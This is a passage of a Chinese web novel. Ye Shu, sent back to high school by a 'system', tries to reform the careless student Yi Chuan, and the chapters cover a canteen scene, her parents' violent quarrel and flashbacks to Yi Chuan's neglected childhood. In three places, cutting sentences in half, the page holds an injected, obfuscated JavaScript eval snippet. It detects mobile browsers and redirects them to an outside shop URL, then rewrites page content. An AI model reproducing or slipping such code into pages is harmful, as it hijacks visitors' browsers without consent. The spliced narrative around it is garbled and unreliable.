只不过，江菱是自小在蜜罐里长大的甜妹，对这种夸赞见怪不怪，便没发觉易川对她的不同。 但这些，都被叶舒看在眼里。 喜欢的力量真伟大，能让高中的她失了自我，又能让目中无人的易川变随和。 ...... 从回忆中回神，叶舒脑中忽然灵光一闪。 似乎有许多例子是学渣会为爱变学霸。易川都为了江菱变了一个人了，好好学习也是有可能的吧？ 而且他小时候也挺乖觉的，说不定真的会为爱逆袭。 如果易川喜欢江菱是必然，那她倒是可以利用他的喜欢...... 系统：【你想什么呢？】 突然的系统声音吓了叶舒一跳，她身躯本能性地抖了一下。 见身边的易川没注意她的失态，叶舒尝试和系统对话：【怎么了？】 系统：【你明明知道易川会喜欢江菱，又何必给他们多的相处机会呢？】 叶舒对系统这态度有些不解：【我用我的方法也有错？】 系统：【现在是易川还没喜欢上江菱，但若是他哪天喜欢上江菱了，你觉得以他的性格还会让你教他学习吗？】 对，按照原世界的发展来看，易川喜欢上江菱后，便开始冷着她。他对她昭然若揭的心意感到厌烦，越来越瞧不上喜欢他的叶舒。 现在的易川还能偶尔听她讲题，若是到了那一步，她可能连靠近易川的机会都没有了。 易川还没有养成勤学好问的习惯，他们俩连好朋友也不算，他还不能这么快与她避嫌。 突然的想法一时又陷入困境。 - 不知不觉又到了中午饭点。 校道两边种了一路的香樟树，枝叶繁茂，秋季结了果，在小径旁落了一地小果子。 叶舒没空注意这些，易川的问题还萦绕在她心上，缠得她透不过气来。 到底如何才能改变易川？ 叶舒才刚拿出一个“实绩”——数学小测第一，还没达到让人记住的学霸，更别说让目中无人的易川信服她。 还有最重要的一点，就算易川想到她又能怎么样呢，他若是一直不主动学习，叶舒这样一直旁敲侧击也不是个办法。 易川那个性子，哪天嫌她烦了，把她骂一顿都不是没可能。 叶舒想到这就烦。 要不是这破任务，她高低也得把他骂一顿。 只能是易川自己改变，他自己愿意找她。 所以她不仅要稳拿实绩，还要和易川搞好关系，最好是能和他成为好朋友。 很明显，他们现在还不算朋友。 谁想和他做朋友啊。 想着这些叶舒就没胃口，但还是被江菱和陆雯拉去吃食堂。 …… 食堂人声鼎沸，碗筷碰撞出的叮叮哐哐声也盖不过学生们的谈天阔论。 三个女生排着自选的队伍，叶舒仍看着地下瓷砖发呆。 另一边，隔壁队伍的王朗瞧见了熟人的面孔，兴奋地朝着她们喊道：“诶。” 叶舒沉浸在自己的世界里，没有注意到他。 王朗这动静自然也让易川注意到了叶舒，她还在发呆，只是会随着蠕动的人流前进几步。 倒是比平时不苟言笑的模样看起来文静。 “叶舒！！！”王朗大喊。 他这一嗓子不仅把叶舒喊得抬起了头，附近的人也都看了眼他。 叶舒这才注意到王朗，刚想嫌弃地皱眉，随后，她便捕捉到王朗身后熟悉的身影，猝不及防就与那双深黯的眼睛对上。 易川正似笑非笑地望着她。 下意识地，叶舒神情顿时冷了几分，脸上露出了浅浅的鄙夷。 她回想起“要与易川拉近关系”，她又立刻弯了弯嘴角，换了副礼貌温和的表情。 做完这些，她立刻转过身，不再看他们。 她心累道，这种演戏的日子什么时候才能过去。 叶舒早上喝了咖啡，没什么胃口，只打了一个菜。 攥着饭盘找着座位时，她还在想着自己刚才的举动。 她刚刚神情变化应该够快，但也不知易川会不会觉察出来。 事已至此，觉察出来也无所谓了。 她将此事暂时搁置脑后，跟着陆雯和江菱找到了位子坐下。 …… 另一边。 王朗暧昧地瞧了他一眼，暗示易川道：“叶舒看见我就嫌弃眼神，看见你倒是笑了噢~” 易川嘴角扯了扯，有些不屑。 待王朗转回去后，他朝那个纤细的背影望了一眼。 虽然叶舒神情换得很快，但他还是看见了叶舒注意到自己的那一瞬间，神情立刻冷了些。 还有，那一抹鄙夷。 …… 打完饭后，王朗和易川在人头攒动的食堂搜寻了许久都没找到空位。 过了一会儿，王朗便注意到有两个空位，而那空位旁的人是叶舒一干人。 王朗上前好言询问道：“大小姐们，可以坐你们这吗？没位置了。” 三个女生相视一眼，都没拒绝的意思，并示意他们随便坐。 “谢谢啊！”说着，王朗便抢先坐下，只剩下一个空位——对面是江菱、身旁是陆雯的位置。 易川看着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461874|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的局面，没坐下。 “你干嘛不坐啊，不好意思啊？”王朗抬头催促易川，而后又一脸坏笑。 叶舒抬头看了看易川，他视线正巧扫过她，又很快离开，落在了江菱身上。 他眸色渐渐转深，似乎是有些犹豫。 听完王朗打趣的话后，易川才缓缓坐下，垂下眼睑，额前的碎发遮挡住他的神情。 叶舒默默盯着易川，心里想着下一步攻略的事。 正当她出神之际，王朗的大嗓门把她瞬间拉回现实世界：“叶舒！” 她吓到了，随后看向王朗，他正玩味地看着她，一脸暧昧。 闷热的食堂里，叶舒却感觉到一丝寒意。 “被我抓到了！”王朗冲她说。 叶舒一脸镇定，挑了挑眉毛表示疑惑，众人不知所以地看着他俩。 王朗本来不想说破，但看见叶舒还在装，便说：“你盯着易川看着干嘛呢？” 易川手上的动作停了停，但没有抬眼，继续若无其事地吃饭。 叶舒神色自若，只是看着王朗，没有半点窘迫，“我在看你呢。” “真的假的？” “我看你脸上有个饭粒。” 王朗摸了摸脸寻找起来：“哪呢？” 江菱和陆雯掩嘴偷笑。 王朗这才反应过来：“我还没吃呢，怎么可能有饭粒沾脸上！” 叶舒没理他，继续气定神闲地吃着饭。 “你吃那么少，吃得饱吗？”易川的声音。 叶舒抬头，与易川对视上。 她没想到是易川在问她。 她停顿了一会儿，才说：“不饿，这也够了。” 王朗又不怕挨骂地调侃起两人：“哟，这么关心，把你菜给叶舒吧。” 易川：“......” 叶舒：“......” 四人都没理他。 王朗：“sorry，sorry，我吃饭。” 王朗终于安静下来。 …… 女生们先行吃完离开了，两个男生则继续慢条斯理地解决最后的食物。 “诶，叶舒是不是喜欢你？”王朗见女生走了询问起易川。 易川没理他，王朗又拍了拍他的手臂催促。 他不耐烦地撇了撇嘴：“你丘比特？看谁都冒粉红泡泡。” 王朗：“嗨，你当事人应该能感觉到一点不一样吧。” 易川嚼着饭的动作顿了顿，沉思了片刻后才说：“没感觉。” 王朗不死心地问他：“那你呢？你对她啥感觉啊？” 这次，易川甚至都懒得说话了，只斜了一眼他。 见易川这冷淡的态度，王朗语气可惜道：“好感也没有？叶舒挺漂亮啊，人也挺好的，我看你班里也就和她说话，我还以为你对她——” “她漂亮？”易川突然转过头质问王滔。 “......”王滔怔了一会儿，应声，“是还挺好看的啊，我还以为你是‘见色起意’才愿意与她多说几句话呢。” 易川一脸黑线：“我没你那么肤浅......” “你这话——那你觉得她不好看？那你觉得谁好看？” 易川偏过头，明显不想回答他这么无聊的问题。 王朗：“你不觉得你和叶舒很配吗，性格像，嘴都还很毒，长得也凶神恶煞的。” 他撇撇嘴：“......语文不好就别瞎形容。” “我语文成绩比你好。” 易川：“......” “叶舒还不好看？那你觉得谁好看？” “……”易川没理他，沉默了许久，然后开口，谁也不得罪，“刚坐这的同学都行。” 王朗愣住了，他没想到易川竟然回复了他，因为沉浸在震惊中，他并没有细究易川这句话的真正含义。 “原来你喜欢清纯可爱挂的？！” 陆雯和江菱，一个是典型江南美人长相，另一个则是可爱甜妹长相。 王朗想到陆雯，连忙说道：“你知道我喜欢陆雯的吧，你不会——” 易川嫌弃地睨了他一眼：“我只是回答你的问题，别多想。” 王朗自言自语着：“江菱也好看，而且人也活泼可爱。” 易川白了他一眼，不屑道：“你还评起来了，吃饭都堵不住你嘴。” 王朗继续打趣他道：“没想到啊易川，你喜欢可爱挂的，我还以为你会喜欢和你一样的臭脸挂呢。” 易川躲开他的揽肩，淡淡丢下一句：“你会错意了。” 说完，他便拿着餐盘走了。 王朗急忙追上他：“诶，你对叶舒怎么个事啊？嗨，其实叶舒就是看着有点高冷，但其实面冷心......” “你嘴巴能停一下吗？”易川冷然道。 王朗接收到易川冷冰冰的视线，这才收声。 11. 家 把饭盘收好走出饭堂时，拥挤的空气终于得到流通，刚刚尴尬拘谨的氛围也立刻消散。 在易川面前，叶舒总得提防着，要想下一步该做什么说什么。 易川性格难以琢磨，她生怕哪一刻的表情和语句不对就离自己的目标越来越远。 她虽有时候能大概猜到易川大概在想什么，但毕竟没有读心术，不可能什么都能猜到。 就比如，她就不知道，她到底怎么做易川才能对她好感更多一点，至少能把她真正当熟悉的朋友依赖，这样也不至于她每次想教他些什么都跟打心理战一样。 思绪恍惚间，叶舒被小卖部的箱子绊住，快摔倒之际被陆雯及时拉住。 “你小心点，一路上都在发呆，叫你看路也不看路。”陆雯嗔她道。 叶舒心有余悸：“谢谢。” 江菱捡起她刚掉的数学作业递给她，“就中午这点时间也要带作业回去做吗？你好努力。” “其实挺够的。”她拍了拍书上的灰尘说着。 江菱感叹：“你好努力，怪不得这次考那么高！” 她挽着叶舒的手：“那我以后有问题就去问你，向你学习！” 叶舒看着近在咫尺的江菱的脸，小脸白皙细腻，圆润的杏眼地看着她，可爱在她身上仿佛浑然天成，都不用刻意做出。 别说易川喜欢，她也喜欢。 她一时间甚至忘记回话了，愣神片刻才回答道：“当然可以。” 这一刻，叶舒又想起她课上的猜想。 ——“喜欢的力量”...... 按江菱勤学好问的性子，必定会时常找叶舒问问题。届时，江菱与易川接触的频率也定会变高...... 若易川喜欢江菱是迟早的事，那她倒是应该好好把握这“近水楼台”的机会。 ......只能赌一把了。 【你是要撮合他俩吗？】系统声音忽地出现。 叶舒回应：【没有，我只是想赌一把易川会不会因为喜欢一个人而改变。】 系统：【你打算怎么做？】 叶舒：【等着看吧。】 系统给她提了一个新建议：【其实我有个好主意。】 叶舒：【？】 系统：【你试着让易川喜欢上你，不是更直接点吗？】 叶舒：【？？】 系统罕见地苦口婆心道：【我知道你在顾虑什么，不过你这样想，一切不都是为了回去原世界和拿到奖励吗？】 对啊，一切都是为了回去而已。 还有钱。 她怎么讨好他，怎么折腾自己不都是为了最后能回去吗？ 叶舒沉默了一会儿，说：【喜欢是很玄乎的感觉，那时就不喜欢的人，再来一次也不一定会喜欢。】 她说得委婉，实则回绝了系统的建议。 恰巧，一阵风过，路旁的树叶沙沙作响，坠落几片树叶。 像是在认同她的话。 有一小片树叶从她眼前飘过，摇摇晃晃地落在了她的衣角处。 她衔起，看了一会儿，随后将那片树叶扬回树根土壤处。 她不喜欢易川，也不想再喜欢他了。 她不愿原世界的事情再发生，连一点儿苗头都不要有。 她对原先易川对她做的事仍心有芥蒂，为了回去而帮助他已经是她做的最大让步了。 她真的，很讨厌他。 - 转眼间，在学校的这周到了尾声。 周五放学。 叶舒默默收拾好了东西，等着下课铃响背包回家。 “这么快写完了。”易川看着她桌面的周末数学卷子，语气玩味道，“周末回来借我抄抄呗。” 叶舒看了眼他，又看了眼卷子。 “可以啊。”她知道易川这是玩笑话，但还是顺着说下去，“但是你得提前一点到，我就给你抄。” 易川轻抬眼睫：“这两者间的必然关系是……？” “你既然要抄，那就要早到。” “晚自习不可以？” “不可以。”她不容置喙地摇了摇头，“你要抄就早点来，我就给你。” 听到她这话，易川脸上浮现出一丝莫名其妙，随后轻笑了一声。不过他最后也没说什么，敷衍地扬了扬下巴。 也不知道是答应还是没答应。 估计是觉得她神经病没答应。 无所谓，叶舒本来也不觉得他会早到。 …… 下课铃一响，拉书包声此起彼伏。 “拜拜。”叶舒提上书包，冲他挥了挥手。 似是没想到她突然的举动，易川微怔，随后扬了扬下巴，语气很淡：“拜拜。” - 叶舒到家时，天还是淡淡的蓝色。 她提着行李箱进了家门。 楼下不少孩子围在一起玩闹，室外的喧闹声衬得叶舒家有些安静得过分。 “爸。” 叶舒拉着行李，冲沙发上的男人叫了一声。 男人看见她，眼里有些惊讶，似是才意识到今日已是周五了，随后才淡淡地说了一声：“回来了。” “嗯。” 她话音还未落，男人便起身进了厨房，准备做饭。 这时候的父亲还是中年男子的模样，脸上未有年老的痕迹。 只是，他这副模样更让叶舒觉得害怕。 在学校为应付学业和易川，她都差点忘了还有回家的事。 这时候才是噩梦啊。 - 易川是父亲接送回家的。 父亲把他送到后就开车离开了，说是有应酬要在外面吃。 易川回了家，客厅昏暗，只有一个落地灯散发着微光，地上几个玩具散落。 有个小男孩听到动静从楼上跑了下来，抱住了他的腿。 “哥哥你回来啦！”声音粘糯，字还念不清，个子才堪堪到他大腿。 易轩易铭都已长大成人，进修的进修，工作的工作，父母暂时只用照顾易川和弟弟。 或者说，只用偶尔顾及一下他俩。 “把玩具收拾一下，不然不给你吃零食了。”他对弟弟“下达命令”。 “噢。”男孩弱弱地应声，屁颠屁颠地去收拾玩具。 易川放下包，开了饭厅的灯。 饭桌上已经摆好了家政阿姨做好的晚饭。 易川伸手碰了碰盘子底部——已经冷了。 他将菜端回厨房加热，随后与弟弟一起吃饭。 两个人面对面坐着。小男孩叽叽喳喳地一直找着哥哥聊天，易川语气敷衍但还是句句回应着。 吃完饭后又是洗碗，折腾完后夜已深。 窗外一片漆黑，没有月亮，暗得有些压抑。 易川洗了澡躺上床，书包丢在椅子上，开也没开过。 - 叶舒家。 饭桌上，只有叶舒和叶舒母亲两名女性，叶舒父亲不和两人同桌，在客厅吃。 “你是不是瘦了？”叶舒母亲仔细打量了叶舒说出这句话。 叶舒夹着菜，随口答道：“有吗？我没感觉。” “你在学校别不吃饭，对身体不好。” “我知道分寸。”叶舒默默地扒着饭。 余光瞥见，叶舒父亲从客厅过来了，夹了几个菜又面无表情地回了沙发上。 叶舒和母亲早已见怪不怪，继续两人的谈话。 叶舒的母亲和父亲自她年幼时便不合，分房睡并且持续冷战，偶尔热战。 她仍然记得，她高中的时候正是两人吵架的高峰时期，几乎每个周末她回到家都会面对争执的两人。 而那时的叶舒，只能无助地用力扒开两人，试图让情况变好一点。 可是因为她是“孩子”，没有人听她的，她也比不过男人的力气。 她突然觉得，系统选择她穿越到这时候，是否是一种惩罚。 …… 夜晚。 叶舒坐在书桌前写作业。 写完一科作业后，她伸了伸懒腰，望见了书桌上的日记本。 想到什么，叶舒拿起书包掏出了一本本子。 工作久了，职业病也有了，手里没记事的本子总觉得不安。 不过，这是本子暂时记录的是易川的事。 她现在攻略易川毫无思路，若想要对这种不爱学习的学渣“对症下药”，只能从每日的接触入手。 她对易川知之甚少，若不是那两次的过往碎片，她对易川的印象可能还停留在原先玩世不恭的学渣上。 不论是家境、内心、爱好等等，这些她能看到的都太表面了，所以，只能一点点记下他的喜好和习惯，并从他的言语和神情上找寻一些蛛丝马迹。 昨日，她趁着易川离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461875|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开教室时在复盘第二次过往碎片，结果，差点被进来的易川发现。 她当时遮掩得快，并借口是日记本。 为避免这种事再次发生，还是得做足准备。 夜渐深，房间外传来说话声。 叶舒侧耳倾听，是父母在对话。 她心下一阵紧张，急忙靠近门边听两人对话。 两人本来说话还算正常，只是说话态度都很冰冷，然而对话来回没几回，话语又变了味，两人之间的气氛开始剑拔弩张起来。 “我都不想说你——” “我需要你说吗！我不用你来管！” 叶舒父亲语调上扬，并将不知是烟盒还是什么东西猛地摔在桌上。 母亲沉默了半晌，才又说话：“我还没说几句你就这样......” “你不用来指指点点的，你要是想来教育我就别说话！” “好了，别吵了！”叶舒走出房间大喊，“一点小事也吵。” 两人似是没想到叶舒竟会出来制止他们，一时噤了声。 然而，还没过多久，父亲就再次冷言冷语：“小孩子别管大人的事，这么晚了，你还不睡觉。” “人家也没说错，你这么晚在这吵......” 不知是什么戳父亲什么肺管子了，他顿时拍案而起，冲母亲喊道：“我在跟你说话吗？我在和叶舒说话，你一定要来跟我吵什么！” 母亲不满地仰着脸，她受不住这气，回怼道：“现在是你来跟我吵好不好......” “大半夜你要来跟我吵是不是！你——” “够了，你们干什么！”叶舒出了房间，挡在母亲身前，拦下男人劈头盖脸的怒言，“别吵了！！！” “大人的事小孩别插手。” 说完，他便直接撇开叶舒的身体。 叶舒未设防，也没想到男人的力气竟这么大，被他甩在地面上。 她穿得是短裤，膝盖摔在冰冷坚硬的大理石地面上，顿时感到疼痛难忍，她本能地惊叫出声。 母亲被男人的这番无情吓到，立刻蹲下身扶起叶舒。 她冲男人大喊道：“你干什么！女儿你都敢推！你下手那么狠的你！！” 男人有些怔然，显然也被现在的局面惊到，他的手在半空中颤了颤，随后又收了回去。 “……行了，不想和你们吵。叶舒你进房间，不要插手大人的事！” 话音刚落，男人便快步进了自己房间，客厅里只留下母亲与她。 母亲将叶舒拉起到沙发上，关切地问着她的腿有没有事。 叶舒捂着还有些痛的膝盖骨，摇了摇头。 女人苦着脸望着叶舒，一脸埋怨，可眼里的委屈还是让她看了出来。 叶舒太了解了，她曾见过母亲很多次这个神情。 母亲：“你看，他又这样，这次更过分。” 叶舒没说话，只是静静听着母亲诉苦，听着母亲说她在学校时，两人的冷战状况。 每每叶舒安慰母亲，不要再管他的脸色，不要再在意他的态度，可是母亲总是不听，只是一味诉说着自己的委屈。 “我都是为了你啊，我不能和他分开，这对你不利。我是为你好，如果不是因为你，或许我会和他分开的。” “那都是你们老一辈的思想。” “你不懂！” 叶舒：“......” 她就知道。 每当母亲说这些话的时候，叶舒也没办法回什么了，她只能默默握住母亲的手，然后静静地听着她的诉述，时不时出声宽慰她。 母亲不会听从她的建议，不会选择分开，而父亲也不会改变。 所以只能这样耗着，一直这样耗着。 整个高中期间，两人的关系就像个定时炸弹，不知道什么时候就会爆炸。 而她逃不开，也丢不了。 两人一直耗到叶舒大学才分居，且仅是分居。 但这对于叶舒来说，已经是很幸运的事了。 …… 直到凌晨两点，叶舒的安抚才奏效，或者说，母亲才诉说完，让她回去睡觉。 夜晚的人间烟火早已散尽，城市陷入一片沉寂，只留一轮弯月在夜空中隐隐绰绰。 叶舒在床上翻来覆去许久才入睡。 意识模糊之时，系统的声音在朦胧中响起：“进度三解锁。” 12. 回忆碎片三 眼前画面逐渐清晰，叶舒又到了易川的家。 她轻车熟路地看向墙壁上的挂钟，指针指向下午五点半左右。 客厅没有人，等了好一会都没有声响，窗外投射进来的阳光都渐渐移了位置。 叶舒见一直没动静，便想上楼去看看，脚刚踏上台阶，楼上便传来一阵孩童的啼哭声。 事发突然，她动作一僵，一瞬间还以为自己是在做普通的梦，而不是在看易川的过去。 很快，她便回过神跑上楼。 寻着声音的方向过去，她发现一个白白净净的小孩子坐卧在床上大声哭嚷。 叶舒呆住，以为回到易川幼年时期。 她正一头雾水时，后方传来脚步声。 她转身望去，易川快步走了进来。 比上次见，易川高了许多，气质也沉稳了不少，与高中时的他很像。 他走进来向小孩招手，然后耐心地开口：“过来。” 小孩哭声小了点，爬着到了他身前，然后他一把抱起孩子，嘴里还念叨着：“别哭了，我去找东西给你吃。” 叶舒隐约记得，易川确实有个弟弟，听说年纪相差挺大，没想到是真的。 眼前的易川抱着小孩子安抚地踱步了片刻，随后小心翼翼地放下孩子，然后慢慢陪着他磕磕绊绊地扶着栏杆下楼。 叶舒看着眼前的场景咂舌。没想到，平常在学校恣意妄为的易川，照顾起弟弟时竟特别温柔，像一个成熟的大人。 粗略估计，这个时候的易川应该十三四岁，左不过初中时期。 到了客厅，他让弟弟在沙发上坐好，把电视开了动画片频道，自己去了厨房做了些小孩的吃食。 有那么小的小孩家里大人也经常不在，他爸妈还真是一如既往的忙。 系统开始在她耳边解释道：【他爸妈一般很晚回来，早上送走他们后就各自忙自己的事了。两个小孩在学校吃饭，两个大人晚上有时候在有时候不在，今天就不在，这个时间保姆不在，所以是易川照顾孩子。】 叶舒望着一大一小的身影，默默思忖着。 两人吃完后，易川看着小孩入睡后，才回了房间。 落地窗外已是漆黑一片，易川上楼后，客厅也暗下了灯，周遭都变得昏暗。 叶舒在这黑暗的空间里感到不适，跟着易川上了楼，进了他房间。 进去之后，便看见易川坐在书桌前写作业。 她走近看，班级那栏写着七（2）班。 易川写完作业后，已经快11点，他匆忙洗漱后才躺床上睡下。 房间内落针可闻。 良久，叶舒注意到异样。 按照以往经验，这时候画面应当该转变了，但此刻她还是面对着呼吸均匀的小易川，窗帘外依旧是乌黑的夜幕。 系统始终没再回应她，叶舒深谙其道，开始打量起周围的环境。 她走至易川书桌旁，观察他的桌面。 终于，她的目光被桌面的时钟吸引，时钟的指针正飞快地转动。转动半晌后，指针转动的速度才逐渐变缓，最后，终于恢复为正常速度。 叶舒悬着的心刚想放下，耳边又响起了尖锐的声音。 孩童的啼哭声穿透房间。 叶舒回头，发现床上的人影蠕动了一下便起身，快速地穿上鞋离开了该房间。 她立刻跟了上去，只见易川又费尽心思哄着孩子，给他换了尿不湿，还抱着他走到客厅带他去看鱼缸里的鱼。 然而，年幼的孩子总是难搞，无奈之下，他只能抱着小孩进了他自己的房间，哄着入睡。 他俩睡下不久后，楼下传来一阵声响。 叶舒趴在栏杆处往下看——易川的爸爸回来了。 她望向墙壁上的挂钟，时针正好指向2。 她感慨叹息一声，瞬间，眼前的画面适时转换。 这次，叶舒站在一间教室里，一位老师正站在讲台上谆谆教导。 她四下打量，这是间小学教室，小孩子们正精神饱满地看着讲台上的老师讲课。 搜寻了一番，叶舒终于在教室靠边处发现了易川的身影。 他正在打盹，眼睑不住地垂下又挣扎着睁开。最后，他终于受不住困倦的影响，慢慢合上了眼帘。 讲台上的老师注意到了他，走近他的位置后，示意他同桌叫醒他。 同桌推了推易川，易川才摇晃着睁开眼。 发觉全班的视线都落在他身上时，易川的脸上顿时浮现出赧然的红色。 “易川注意听课。” 老师语气很温柔，但易川还是羞愧地低下了头。 老师继续讲课，然而过了没多久，易川又精神不济开始神游了。 见状，叶舒抱臂叹了口气。下一秒，眼前场景一闪，她又回到了那个熟悉的“家”。 客厅的沙发上坐着一个熟悉的人影——易川妈妈。 女人正在打电话，没一会儿便挂了电话，叶舒只听见她最后一句说的是“谢谢老师”。 “易川。”易川母亲朝楼上喊着，须臾，二楼钻出来个脑袋。 “咋了妈妈？” “你下来，有话跟你说。”易母语气很淡，听不出来什么情绪。 易川噌噌地下了楼，然后乖乖地坐在沙发上望着易母。 易母等他坐定才问道：“你老师刚刚给我打电话，说你最近上课老师睡觉，成绩又退步了。” 易川听了，姿势瞬间变得僵硬拘谨。他不说话，只是别扭地移开视线看着电视。 “你最近怎么回事，上课怎么睡觉？” “偶尔一下。”易川避而不谈，只是敷衍过去。 易母也不恼：“你是不是晚上看什么小说然后不睡觉？” “没有。”小易川急切地回答，易母看他态度诚恳也没继续怀疑下去。 “好吧，但是你还是注意点，以后早点睡。虽然我们对你没什么要求，但你在学校还是乖一点。” 闻言，易川沮丧地低下了头。 乖一点...... 他已经很努力乖了不是吗？ 难道就因为成绩不够好所以不乖吗？ “好。” 易川乖乖应承下来，随后准备回房间。 然而，他起身后便停住了脚步。 他没有回头，踌躇了片刻，开口道：“弟弟晚上哭老是把我吵醒。” 闻言，母亲宽慰他道：“弟弟还小，这时候哭闹是经常的。上次请的阿姨照顾得不好，我们还在找合适的家政阿姨，这段时间还要辛苦你看一下弟弟，我和你爸会尽量早点回来照顾弟弟。” 易川点点头，没再说什么，径直上了楼。 该说不说，易川父母真是心大。 易川母亲类似的话叶舒在这几次回忆幻境中就已经听了不止一次。 可想而知，易川应该也听过更多次。 从易川小时候他们就经常说“会尽力早点回来”，也许他们真的尽力了，只是总是会食言，总是会遗忘家里还有孩子在需要着他们。 正推测着，周围的场景再次回到学校。 这次，叶舒站在易川身旁，他正坐在位子上，看着一张卷子愣神。 叶舒俯身瞧去，卷子右上角是鲜红的69分。 看来，他便是这时候成绩就跟不上了。 易川盯着卷子，脸上没有任何表情，片刻后，他默默把卷子折起然后随意扔进了抽屉里。 因为这一举动，叶舒看到了高中易川的影子。 所以，是从这以后，他就变了。 学校的场景逐渐模糊变暗，随即，一幕幕画面如同胶片电影在她眼前逐一播放，交织重叠。 …… 易川睡眠不足，上课总是神游，成绩一次比一次落后。任课老师也逐渐习惯他的懒怠，只是偶尔象征性鼓励他。 一次次成绩单交给易父易母过目。 他们一开始还颇有微词，但很快，他们就不甚在意，也见怪不怪。 ——“算了，这时候跟不上也是正常，也不是所有人都能像你易铭哥一样成绩好的。” ——“没事，我们不要求你成绩，乖乖的就好了。” ...... 这一句句看似宽慰放任自由的话，却如同枷锁一点点铐牢他。 好像他本来就该是这样，本来就那么差劲。 上了初中，易川更是跟不上了，学习逐渐变得得过且过。 初中的男生正值青春叛逆期，在一众爱玩乐的男孩们的影响下，他的性格也越来越古怪孤高，逐渐不务正业、目空无人。 令人意外的是，中考前，易川临时抱佛脚地请了个家教老师。 是他自己提出的。 叶舒觉得，易川还是在意自己的成绩的，或是在意父母眼中的自己，亦或者是，他不想让自己最后真那么堕落。 画面里，易川父亲对易川提出的这要求感到不解。 “你要补习？你、成绩不是一般吗，现在补习还有用吗？” 易川还没说话，男人便颇为无奈地回了句：“算了，我给你找个好一点的老师吧。你努力一把，别让我们失望。” 听到这话，另一头的易川只是麻木地，淡淡地应了好。 失望？ 你们对他有过希望吗？ 易川最后考上了公办高中——末流的。 他自己似乎已经满足了。 本以为事情到这便要结束了，但易川小时候的那幕又重现在他和叶舒眼前。 主画面逐渐展开，覆盖全景。 叶舒站在第一次到达幻境时站着的地方。 她听着三人的谈话，回想到了第一次过往碎片的场景。 四人正在饭桌上吃饭，易川父母，易川，和他的弟弟。 难得人多，暖灯的映衬下，倒显得这副画面有些温馨。 随后，一道声音打破这难得的祥和。 “我帮你申请到了静海高中的借读生名额。” 易川父亲幽幽开口，他的语气淡然，明显是告知的语气，而不是商量。 饭桌上只有一个准高一生，易川当即便知道父亲是在同他讲话。 他有些没听懂，出声询问：“什么意思？” “就是你学籍还是你考的这个学校，但你可以去静海高中读书。” 男人耐心地向他解释，平淡的语气里，叶舒听出了一丝欣慰和愉悦。 易川花了几秒去接受这个事实，还是忍不住问：“找关系进去的？” 易父笑了笑：“当然不是。你还是你考的这个学校的人，只是申请了在那个学校读书。” “这不会不公平吗？” 易川这时候不懂，不知道借读生的含义。 他天真的话语令易父爽朗地大笑，他放下碗筷看着易川，“没有不公平，中考是分数够了就能上自己选的高中，你没有占任何人名额。学籍上你也不是静海高中，所以对那些学生来说就没有不公平，而且两个月后你也要入学考试。这就像交易，我们也付出了，没有什么不公平。” “付出？”易川抓中重点：“你出钱了？” 男人避开他灼烈的视线，转而给他夹菜，“申请肯定是要交借读费的。” “多少钱？” 易母看不下去，帮忙说话：“借读生的学费是比普通学生要高，但是易川，你要知道这都是爸爸妈妈为你好啊，爸爸妈妈是希望你好好读书，你要好好珍惜。” 易川脑海顿时一片空白，看着他们说不出一句话。 他今天还在高兴，毕竟很少能吃到父母做的饭菜，很少能一起坐在饭桌上吃饭，但没想到的是这种鲜少的团圆时刻竟会给他当头一棒。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461876|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力让自己沉住气，他看见一旁的弟弟还趴在桌上呆呆地看着他们。 他蓦然想起，小时候的他也是这样在一旁听着他们讲话的吧。 原来那时就已注定。 他那么不想步入大哥的后尘，却还是变成了爸妈眼中的第二位易轩。 “我不要。”他语气坚决。 易父易母似是没想到他会这么说，很是不解。 易川寒声道：“把钱拿回来，我不去。” 易母以为他是心疼钱，宽慰他说：“你不要想那么多，你就好好读就好了。虽然你成绩不好，但是你在那读书氛围好和别的学校肯定不一样的。而且静海高中比你考的学校更近，爸爸也好接送你。” 易川偏头，声调变高：“有什么意义？假的永远都是假的。” 易母解释道：“易川，那个学校氛围好，大家都爱学习，你在里面也能好好读书。” 易川看着女人，目光冰冷，却又有些委屈的意味。 他坚决地摇了摇头，“与其这样，你们还不如别让我读了。” “易川！！！” 易父生气地念出他的名字，一时间，所有人都安静下来了，屋内陷入沉默。 叶舒看向易川，他依旧倔强地看着他父亲，而他的眼尾却渐渐地红了。 易父双眉紧皱，疾言厉色道：“你懂什么，这学校的氛围能一样吗？你现在这样，不去个好学校，指不定还变成什么样！” “好了，也不是这样说。”易母拦下易父，随即转头对易川温柔道，“我们知道你成绩一般，但我们从来也不求你有什么大作为。咱们去读就好了，安心读就好了......” 安慰完他，她对男人一顿痛批，“你也是，凶孩子干嘛。” 